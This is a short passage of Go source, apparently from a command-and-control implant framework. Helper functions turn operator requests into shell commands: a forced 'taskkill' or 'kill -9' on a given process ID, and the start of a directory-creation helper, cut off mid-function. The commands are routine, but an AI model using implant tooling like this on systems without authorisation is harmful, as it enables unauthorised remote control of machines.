--------------------------------------------------------------------------- Simple exec modules (return ExecResponse, no custom parser) ---------------------------------------------------------------------------
(osName string, req *implantpb.Request)
| 160 | // --------------------------------------------------------------------------- |
| 161 | |
| 162 | func killCommand(osName string, req *implantpb.Request) string { |
| 163 | pid := firstArg(req) |
| 164 | if isWindows(osName) { |
| 165 | return fmt.Sprintf("taskkill /F /PID %s", pid) |
| 166 | } |
| 167 | return fmt.Sprintf("kill -9 %s", pid) |
| 168 | } |
| 169 | |
| 170 | func mkdirCommand(osName string, req *implantpb.Request) string { |
| 171 | path := firstArg(req) |